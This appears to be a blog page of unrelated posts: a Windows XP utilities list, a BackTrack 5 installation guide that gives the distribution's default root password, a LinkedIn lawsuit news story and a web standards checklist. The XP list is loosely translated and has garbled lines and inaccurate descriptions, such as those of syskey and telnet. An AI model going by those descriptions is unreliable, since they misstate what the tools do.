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Top 25 Application Secrets in Windows XP

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There are some hidden secrets inside the application<br />
window XP and sometimes we do not know ...<br />
the following list is a list of confidential applications are:<br />
<br />
<br />
To run the applications below:[/color]<br />
Open a command prompt and Type the name of the program (example:<br />
cleanmgr.exe)<br />
or click Start -> Run and Type in the name of the program (example: cleanmgr.exe).<br />
<br />
<br />
1. Disk Cleanup = cleanmgr.exe<br />
Used to cleanup disk<br />
<br />
2. Character Map = charmap.exe<br />
Used to search for unusual characters<br />
<br />
3. Dr Watson = drwtsn32.exe<br />
Used for troubleshooting on the PC.<br />
<br />
4. DirectX diagnosis = dxdiag.exe<br />
Used for diagnosis audio video card<br />
<br />
5. Private character editor = eudcedit.exe<br />
Used to create a new character in your windows<br />
<br />
6. IExpress Wizard = iexpress.exe<br />
Used to create self-extracting / self-installing package. such as a Zip file<br />
<br />
7. MICR * Synchronization Manager = mobsync.exe soft<br />
Used to make sincronisasi.<br />
<br />
8. Clipboard Viewer = clipbrd.exe<br />
Used to view the content of the Windows clipboard<br />
<br />
9. Windows Media Player 5.1 = mplay32.exe<br />
Used to open Windows Media Player version 5.1<br />
<br />
10. ODBC Data Source Administrator = odbcad32.exe<br />
Used for database<br />
<br />
11. Object Packager = packager.exe<br />
Used to insert an object into a file.<br />
<br />
12. System Configuration Editor = sysedit.exe<br />
Used to change the system.ini and win.ini<br />
<br />
13. Syskey = syskey.exe<br />
Used to configure an account on the windows.<br />
<br />
14. MICR * soft Telnet Client = telnet.exe<br />
Used to connect to the Internet before there was a browser.<br />
<br />
15. Driver Verifier Manager = verifier.exe<br />
Used for monitoring drivers in your windows<br />
<br />
16. Windows for Workgroups Chat = winchat.exe<br />
Used to chat sec<br />
<br />
17. System configuration = msconfig.exe<br />
Used to control startup programs<br />
<br />
18. System Monitor = perfmon.exe<br />
Used to monitor your PC.<br />
<br />
19. Program Manager = progman.exe<br />
Is inherited from Windows 3.x desktop shell<br />
<br />
20. gpedit.msc<br />
Used to set the group policy and authorization, if you use Active Directory.<br />
<br />
21. Remote Access phone book = rasphone.exe<br />
It is applications like phone book<br />
<br />
22. Registry Editor = Regedt32.exe [also regedit.exe]<br />
Used for tweaking and editing windows registry<br />
<br />
23. Network shared folder wizard = shrpubw.exe<br />
Used to create a shared network folder<br />
<br />
24. Siganture file verification tool = sigverif.exe<br />
Used to verify signatures<br />
<br />
25. Volume Control = sndvol32.exe<br />
Used to display the sound control in the System Tray</div>

Top 25 Application Secrets in Windows XP

There are some hidden secrets inside the application window XP and sometimes we do not know ... the following list is a list of confident...

How to Install Backtrack 5

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</header><br />
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<a href="http://www.blogger.com/blogger.g?blogID=4005641067934403357" name="BTDL" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"></a>Download the Backtrack 5 ISO</h2>
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Head over to: <a href="http://www.backtrack-linux.org/downloads/" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">http://www.backtrack-linux.org/downloads/</a><br />
Then click the download button.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/Backtrack-Linux-Download-Page.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="Backtrack-Linux Download Page" class="aligncenter size-medium wp-image-900" height="160" src="http://backtracktutorials.com/wp-content/uploads/2012/01/Backtrack-Linux-Download-Page-300x160.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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After that, you will be able to pick the version of backtrack that you want. I am going to recommend Backtrack 5 R3 since it is the most up-to-date. The window manager is up to you, but I am going to use gnome. Since I will be using backtrack in a virtual machine, the 32 bit version will be fine. We want the ISO because we can use it on a DVD, a USB flash drive, and install on a virtual machine. Direct download or torrent download is up to you. The file is little over 3 GBs, so it may take some time depending on your internet speeds.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/Backtrack-Download-2.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="Backtrack Download" class="aligncenter size-medium wp-image-901" height="164" src="http://backtracktutorials.com/wp-content/uploads/2012/01/Backtrack-Download-2-300x164.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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<a href="http://www.blogger.com/blogger.g?blogID=4005641067934403357" name="VM" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"></a>Setting up a Virtual Machine</h2>
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A virtual machine (VM) is the software implementation of a physical computer. In other words, it’s having another computer on your current computer. If you have never used a virtual machine it is a good time to start. VMs are excellent when it comes to practice labs which we will get to in another section.</div>
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To start, you’re going to need to get VM software. There are many out there, but I will list a few popular ones.</div>
<ol style="border: 0px; font-family: inherit; font-style: inherit; list-style-image: initial; list-style-position: initial; margin: 0px 0px 1.625em 2.5em; outline: 0px; padding: 0px; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><a href="http://www.vmware.com/products/workstation/overview.html" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" title="VMware Workstation 9 (Windows/Linux) - $249.00 USD">VMware Workstation 9 (Windows/Linux) – $249.00 USD</a></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><a href="http://www.vmware.com/products/player/" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" title="WMware Player (Windows/Linux) - Free">VMware Player (Windows/Linux)  – Free</a></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><a href="https://www.virtualbox.org/" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" title="VirtualBox (Windows/Mac/Linux) – Free">VirtualBox (Windows/Mac/Linux) – Free</a></li>
</ol>
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Whichever VM software you go with, make sure it has a way to network with other VMs. If you don’t want to spend the money, go with VirtualBox. If you plan to get serious with penetration testing, you might want to consider getting a VMware Workstation license. It is full of useful tools and goodies such as sharing VMs and remote access and easy to work with.</div>
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I will be use VMware Workstation, but these programs are very similar in function. You shouldn’t have trouble following along if you are using something else.</div>
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After everything is installed and running, click “Create new virtual machine”.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-1.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 1" class="aligncenter size-medium wp-image-902" height="161" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-1-300x161.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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Next you’re going to select “Installer disc image file” then browse for the backtrack 5 ISO.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/Vm-Install-2.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="Vm Install 2" class="aligncenter size-medium wp-image-903" height="271" src="http://backtracktutorials.com/wp-content/uploads/2012/01/Vm-Install-2-300x271.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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Select the operating system as linux, and the version as Ubuntu.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-3.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 3" class="aligncenter size-medium wp-image-904" height="273" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-3-300x273.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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Give the virtual machine a name such as “Backtrack 5 R3” and select a location for where you want to save the virtual machine files.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-4.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 4" class="aligncenter size-medium wp-image-905" height="272" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-4-300x272.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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When asked how much you want the virtual disk drive to be, you want at least 25 GB. This will be the most demanding requirement of Backtrack 5. I went and used 40 GB for my virtual machine. Although the backtrack-linux wiki says you need at least 20 GB, I found you will run out of space by the time you install updates or any other software. Then, you will have the option of storing the virtual disk as a single file, or split into multiple files. Creating a virtual disk as a single file will allocate all of the space right away. Splitting into multiple files means the drive files will grow as you need them. So if your hard drive space is limited on your host system, go with multiple files. If you have a massive drive, and not worried about space, go with a single file.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-5.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 5" class="aligncenter size-medium wp-image-906" height="272" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-5-300x272.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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And that’s it! The virtual machine is ready to go. I left mine at 1 GB of ram, if you are limited of memory, you can change this in the virtual machine settings. The recommended minimum memory is 512 MB, however you can try lower if you need to.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-6.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 6" class="aligncenter size-medium wp-image-908" height="273" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-6-300x273.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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Power on the virtual machine and you will be ready to install Backtrack.</div>
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<a href="http://www.blogger.com/blogger.g?blogID=4005641067934403357" name="Install" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"></a>Installing Backtrack 5</h2>
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If you are installing on a hard drive, you will need to burn the Backtrack 5 ISO on to a DVD or a USB Drive. For directions on installing to a USB Drive, see here (link).</div>
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First turn on your machine, then insert your DVD or USB Drive. Then press the key that allows you to select your boot drive. You may have to go into the bios to enable this. Most often, F12 will work. Select either your DVD drive, or your USB Drive to boot from it. You should see a screen like this:</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-7.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 7" class="aligncenter size-medium wp-image-909" height="234" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-7-300x234.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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After a few moments, you will see Backtrack Live CD menu. Press enter on Backtrack Text – Default Boot Text Mode.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-8.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 8" class="aligncenter size-medium wp-image-910" height="194" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-8-300x194.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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Wait about 10 seconds, and you will come to Backtrack shell console. Type the command “startx” to load the GUI.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-9.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="VM Install 9" class="aligncenter size-medium wp-image-911" height="229" src="http://backtracktutorials.com/wp-content/uploads/2012/01/VM-Install-9-300x229.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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After another few moments, you will come to the desktop of Backtrack. Double click on the “Install Backtrack” to begin the install process.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-1.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="BT Install 1" class="aligncenter size-medium wp-image-913" height="225" src="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-1-300x225.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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After you select your time zone, and language, you then have to partition your drive. If you are using a virtual machine, go ahead and use the whole drive. If you are dual booting, you will have to specify your partition for your two operating systems.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-2.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="BT Install 2" class="aligncenter size-medium wp-image-914" height="225" src="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-2-300x225.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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Continue through the installer, and then click finish. Backtrack will then install on to your system. This process takes about 10-15 minutes.</div>
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<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-3.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="BT Install 3" class="aligncenter size-medium wp-image-915" height="226" src="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-3-300x226.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
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After it is finish, restart your system.</div>
<div style="border: 0px; font-family: inherit; font-style: inherit; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline;">
<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-4.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="BT Install 4" class="aligncenter size-medium wp-image-916" height="226" src="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Install-4-300x226.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
<h2 style="border: 0px; clear: both; color: white; font-family: inherit; font-size: 15px; font-style: inherit; margin: 0px 0px 0.8125em; outline: 0px; padding: 0px; vertical-align: baseline;">
<a href="http://www.blogger.com/blogger.g?blogID=4005641067934403357" name="Login" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"></a>Backtrack 5 Login</h2>
<div style="border: 0px; font-family: inherit; font-style: inherit; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline;">
After restarting, you will come to a login screen like this:</div>
<div style="border: 0px; font-family: inherit; font-style: inherit; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline;">
<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Log-1.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="BT Log 1" class="aligncenter size-medium wp-image-917" height="211" src="http://backtracktutorials.com/wp-content/uploads/2012/01/BT-Log-1-300x211.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
<div style="border: 0px; font-family: inherit; font-style: inherit; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline;">
The default root name for Backtrack is “root” and the password is “toor”. After typing in the root username and password, you will come back to the Backtrack shell. Type “startx” to enter the GUI desktop.</div>
<h2 style="border: 0px; clear: both; color: white; font-family: inherit; font-size: 15px; font-style: inherit; margin: 0px 0px 0.8125em; outline: 0px; padding: 0px; vertical-align: baseline;">
<a href="http://www.blogger.com/blogger.g?blogID=4005641067934403357" name="USB" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"></a>Creating a Bootable USB Drive</h2>
<div style="border: 0px; font-family: inherit; font-style: inherit; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline;">
Required Items:</div>
<ul style="border: 0px; font-family: inherit; font-style: inherit; list-style: square; margin: 0px 0px 1.625em 2.5em; outline: 0px; padding: 0px; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">A USB flash drive with minimum space of 4 GB.</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Backtrack 5 ISO</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">UNetbooin – <a href="http://unetbootin.sourceforge.net/" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" title="http://unetbootin.sourceforge.net/">http://unetbootin.sourceforge.net/</a></li>
</ul>
<div style="border: 0px; font-family: inherit; font-style: inherit; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline;">
UNetbootin is a program that allows you to create bootable USB drives for linux distros and Windows. UNetbootin will download the distribution or use an ISO file you selected from your hard drive.</div>
<ol start="1" style="border: 0px; font-family: inherit; font-style: inherit; list-style-image: initial; list-style-position: initial; margin: 0px 0px 1.625em 2.5em; outline: 0px; padding: 0px; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Once UNetbootin is downloaded you can run it by double clicking (Windows)</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Plug in your USB Drive.</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Start UNetbooin and select the “diskimage” option, then select your Backtrack 5 ISO.</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Select your USB Drive, then click “OK”.<br /><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">WARNING: This will format your USB Drive and remove all previous data.</strong></li>
</ol>
<div style="border: 0px; font-family: inherit; font-style: inherit; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline;">
Now you should be able to boot off of your USB Drive with Backtrack 5.</div>
<div style="border: 0px; font-family: inherit; font-style: inherit; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline;">
<a href="http://backtracktutorials.com/wp-content/uploads/2012/01/unetbootin1.jpg" style="border: 0px; color: #e4741f; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="unetbootin" class="aligncenter size-medium wp-image-918" height="221" src="http://backtracktutorials.com/wp-content/uploads/2012/01/unetbootin1-300x221.jpg" style="border: 1px solid rgb(44, 44, 44); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px;" width="300" /></a></div>
</div>
</div>

How to Install Backtrack 5

Download the Backtrack 5 ISO Head over to: http://www.backtrack-linux.org/downloads/ Then click the download button. After th...

LinkedIn users have filed a lawsuit for 'hacking' users' email accounts

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Four LinkedIn users have filed a lawsuit accusing the business-oriented social network of accessing their email accounts without permission, harvesting the addresses of their contacts and spamming those people with repeated invitations to join the service.<br />
<br />
In their most explosive claim, the plaintiffs say that LinkedIn is "breaking into" external email accounts, like Gmail or Yahoo Mail, by pretending to be the account owner, although the legal complaint offers no details about that assertion. Larry Russ, a lawyer for the plaintiffs, declined to comment beyond the suit.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6xFuBS_jEbV68rpg1NNhpCha1cjQRroDpVtvKAqa8Loe0ZXk6tBce4HqredoPV_m-kHMxsC360_vYZBXn_Vdc7LD-0jWGt5xltiAvfQo5BA3Bd5MmaOMKXk-hS1VVO3kxh3pMgYXDyFU/s1600/Linkedin+people.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="163" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6xFuBS_jEbV68rpg1NNhpCha1cjQRroDpVtvKAqa8Loe0ZXk6tBce4HqredoPV_m-kHMxsC360_vYZBXn_Vdc7LD-0jWGt5xltiAvfQo5BA3Bd5MmaOMKXk-hS1VVO3kxh3pMgYXDyFU/s320/Linkedin+people.png" width="320" /></a></div>
<br />
<br />
The lawsuit, which is seeking damages on behalf of all LinkedIn users, revives a long-standing issue about the service: Does LinkedIn adequately inform its users about how it uses sensitive information, including email addresses of everyone they know, and get their consent to do so?<br />
<br />
As the lawsuit puts it: "As a part of its effort to acquire new users, Linkedln sends multiple e-mails endorsing its products, services and brand to potential new users. In an effort to optimize the efficiency of this marketing strategy, Linkedln sends these 'endorsement e-mails' to the list of e-mail addresses obtained without its existing users' express consent and, to further enhance the effectiveness of this particular marketing campaign, these endorsement e-mails contain the name and likeness of those existing users from whom Linkedln surreptitiously obtained the list of email addresses."<br />
<br />
LinkedIn has always maintained that it gets full consent of its users before reaching out to any of their contacts. And the company reiterated that position in a statement in response to the lawsuit, which was filed in federal court in San Jose, Calif., on Tuesday by the Los Angeles law firm Russ August & Kabat.<br />
<br />
"LinkedIn is committed to putting our members first, which includes being transparent about how we protect and utilize our members' data," the company said. "We believe that the legal claims in this lawsuit are without merit, and we intend to fight it vigorously."<br />
<br />
Regardless of the claims in the lawsuit, there is no doubt that LinkedIn makes it awfully easy for you to send an invitation to connect to everyone you have ever emailed and much harder to revoke that permission.<br />
<br />
When you sign up for the service, or want to add contacts, LinkedIn prompts you to import the email addresses of potential contacts from your email accounts, like Gmail, Yahoo Mail or Microsoft Outlook. The lawsuit says LinkedIn does this without seeking the email passwords, suggesting that LinkedIn is hacking into accounts. Under LinkedIn's normal procedures, it asks users for permission to access each account, though email passwords may not be required if a user is logged into the email account.<br />
<br />
Once those addresses are imported, LinkedIn asks you for permission to contact them on your behalf.<br />
<br />
And here we get to the crux of why LinkedIn might be viewed as spamming: By default, LinkedIn wants to invite every one of those people to connect with you on the service.<br />
<br />
Instead of asking you to opt in by checking off which specific contacts you want to invite, LinkedIn requires you to opt out by unchecking the "select all" button. If you are not careful, hundreds of invitations can go out - no second thoughts or cooling-off period provided.<br />
<br />
In fact, once the authorization is given, LinkedIn will email your contacts several times asking them to join the service or connect to you. (You can withdraw an unaccepted invitation once it is sent, but it is a tedious process.)<br />
<br />
Moreover, even if you don't invite some or all of those imported names to connect with you, LinkedIn saves the information for various purposes, including prompting you later to add the people as connections.<br />
<br />
LinkedIn had 238 million users worldwide at the end of June, up 37 per cent from the second quarter of 2012. It relies heavily on user referrals for that sizzling growth, which has also sent its stock price into the stratosphere.<br />
<br />
Such growth by referral is common to social networks, games and mobile applications, though sometimes they cross the line into what many of their users would consider spamming. For example, the Path social network got into trouble for such mass mailing this year, prompting Facebook to restrict it from accessing its users' accounts.<br />
<br />
The lawsuit, and numerous complaints on LinkedIn's own message boards, suggest that the company is treading dangerously. As one user quoted in the lawsuit put it in a post on LinkedIn:<br />
<br />
"Accessing my contacts so that I can see who I'd like to connect with is one thing. Spamming my entire contact database of everyone I've ever emailed is definitely black hat tactics at growing users. This included people I know, don't know, email addresses from people off Craigslist, even mailing lists received an 'invite to connect' from me today. I did not click on 'invite all.' In fact, I clicked on 'skip this step.' Very disappointing." </div>

LinkedIn users have filed a lawsuit for 'hacking' users' email accounts

Four LinkedIn users have filed a lawsuit accusing the business-oriented social network of accessing their email accounts without permission...

A Web Standards Checklist, How to make a proper website

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<br />
<h2 style="text-align: left;">
<span style="color: red;">A web standards checklist</span></h2>
<br />
The term web standards can mean different things to different people. For some, it is 'table-free sites', for others it is 'using valid code'. However, web standards are much broader than that. A site built to web standards should adhere to standards (HTML, XHTML, XML, CSS, XSLT, DOM, MathML, SVG etc) and pursue best practices (valid code, accessible code, semantically correct code, user-friendly URLs etc).<br />
<br />
In other words, a site built to web standards should ideally be lean, clean, CSS-based, accessible, usable and search engine friendly.<br />
<br />
<span style="color: red;">About the checklist</span><br />
<br />
This is not an uber-checklist. There are probably many items that could be added. More importantly, it should not be seen as a list of items that must be addressed on every site that you develop. It is simply a guide that can be used:<br />
<br />
* to show the breadth of web standards<br />
* as a handy tool for developers during the production phase of websites<br />
* as an aid for developers who are interested in moving towards web standards<br />
 <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxnoQ44D_i__8giQDVwHRvl3s8DVwODdHAfubu1v3o0_2xlQJsb-zw6VgjRrpJrbA7KcAWEWEr3ERhVwGqklaBIFgO9z2M0OR0NUNT6XBZ0oYX07AWVPaN1-8BIHfs2LF_GT_BNJU9tS0/s1600/images.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxnoQ44D_i__8giQDVwHRvl3s8DVwODdHAfubu1v3o0_2xlQJsb-zw6VgjRrpJrbA7KcAWEWEr3ERhVwGqklaBIFgO9z2M0OR0NUNT6XBZ0oYX07AWVPaN1-8BIHfs2LF_GT_BNJU9tS0/s1600/images.jpg" /></a></div>
<br />
<h2 style="text-align: left;">
<span style="color: red;">The checklist</span></h2>
<br />
<span style="color: red;">1.Quality of code</span><br />
1. Does the site use a correct Doctype?<br />
2. Does the site use a Character set?<br />
3. Does the site use Valid (X)HTML?<br />
4. Does the site use Valid CSS?<br />
5. Does the site use any CSS hacks?<br />
6. Does the site use unnecessary classes or ids?<br />
7. Is the code well structured?<br />
8. Does the site have any broken links?<br />
9. How does the site perform in terms of speed/page size?<br />
10. Does the site have JavaScript errors?<br />
<br />
<span style="color: red;">2. Degree of separation between content and presentation</span><br />
1. Does the site use CSS for all presentation aspects (fonts, colour, padding, borders etc)?<br />
2. Are all decorative images in the CSS, or do they appear in the (X)HTML?<br />
<br />
<span style="color: red;">3. Accessibility for users</span><br />
1. Are "alt" attributes used for all descriptive images?<br />
2. Does the site use relative units rather than absolute units for text size?<br />
3. Do any aspects of the layout break if font size is increased?<br />
4. Does the site use visible skip menus?<br />
5. Does the site use accessible forms?<br />
6. Does the site use accessible tables?<br />
7. Is there sufficient colour brightness/contrasts?<br />
8. Is colour alone used for critical information?<br />
9. Is there delayed responsiveness for dropdown menus (for users with reduced motor skills)?<br />
10. Are all links descriptive (for blind users)?<br />
<br />
<span style="color: red;">4. Accessibility for devices</span><br />
1. Does the site work acceptably across modern and older browsers?<br />
2. Is the content accessible with CSS switched off or not supported?<br />
3. Is the content accessible with images switched off or not supported?<br />
4. Does the site work in text browsers such as Lynx?<br />
5. Does the site work well when printed?<br />
6. Does the site work well in Hand Held devices?<br />
7. Does the site include detailed metadata?<br />
8. Does the site work well in a range of browser window sizes?<br />
<br />
<span style="color: red;">5. Basic Usability</span><br />
1. Is there a clear visual hierarchy?<br />
2. Are heading levels easy to distinguish?<br />
3. Does the site have easy to understand navigation?<br />
4. Does the site use consistent navigation?<br />
5. Are links underlined?<br />
6. Does the site use consistent and appropriate language?<br />
7. Do you have a sitemap page and contact page? Are they easy to find?<br />
8. For large sites, is there a search tool?<br />
9. Is there a link to the home page on every page in the site?<br />
10. Are visited links clearly defined with a unique colour?<br />
<br />
<span style="color: red;">6. Site management</span><br />
1. Does the site have a meaningful and helpful 404 error page that works from any depth in the site?<br />
